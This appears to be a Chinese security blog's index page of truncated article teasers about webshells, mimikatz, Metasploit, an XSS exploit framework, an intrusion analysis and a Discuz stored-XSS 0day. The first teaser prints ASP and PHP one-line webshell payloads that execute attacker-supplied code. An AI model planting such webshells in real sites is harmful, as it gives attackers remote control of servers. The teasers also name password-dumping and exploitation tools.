asp一句话 <%execute(request("1"))%> php一句话 <?php eval($_POST);?> aspx一句话 <scri...
SQL Server误区30日谈 第4天 DDL触发器就是INSTEAD OF触发器_MsSql
误区 #4: DDL触发器(SQL Server 2005之后被引入)就是INSTEAD OF触发器 这是错误的 DDL触发器的实现原理其实就是一个AFTER触发...
神兵利刃
Windows密码抓取神器mimikatz2.0发布
只要借用一下电脑，便可轻松拿到密码……“女神，借用电脑一看可否？” 大神们都知道的东西吧，渗透测试常用工具。法国一个牛B的人写的轻量级调试器，可以帮助安全测试人员抓取Windows密码。 mi...
sqlsever实现更改字段名_MsSql
新建表：create table ( int IDENTITY (1,1) PRIMARY KEY , nVarChar(50) default '默认值' null , ntext null , d...
神兵利刃
[更新]Metasploit 4.4版本发布
Metasploit是一款开源的安全漏洞检测工具，同时Metasploit是免费的工具，因此安全工作人员常用该工具来检测系统的安全性。Metasploit自带上百种漏洞，还可以在online expl...
XSS Exploit框架 – Xenotix
Xenotix XSS Exploit Framework是一款用于检测和利用WEB应用程序中的XSS漏洞的渗透测试工具。这个工具可以将代码注入到含有xss漏洞的web页面中。 Xenotix的主要特...
风土人情
12.21帝都东北三环抚摸指南（酸爽版）
朝三暮四，一天七次，酸爽吧？说的是你在12月21日的虎嗅F&M节（又称抚摸节）现场，早上玩三次互动，下午玩四次互动，是完全玩不过来的！所以，我们打算整一篇攻略，给面基的小伙伴们一个加持。当然，...
JAVA
浅谈Java 8的函数式编程
关于“Java 8为Java带来了函数式编程”已经有了很多讨论，但这句话的真正意义是什么？ 本文将讨论函数式，它对一种语言或编程方式意味着什么。在回答“Ja...
WooYun-Drops
主机被入侵分析过程报告 – HRay
http://drops.wooyun.org/tips/13647 0x00 结论 14号上午接到同事报告，某主机cpu占用至100%并出现可疑进程，安全部接手调查后结论如下： 主机未限制端口访问，...
Seay信息安全博客
漏洞播报：dzX 2.0/2.5通杀0day 存储型XSS一枚 |
显示不全请点击全屏阅读 漏洞发生在插附件的地方。说到插附件各位看官也应该都想到了肯定是文件名。因为文件名是按照本地上传的文件名来显示的。 如果你的操作系统是linux你可以直接修改一个图片文件的文...
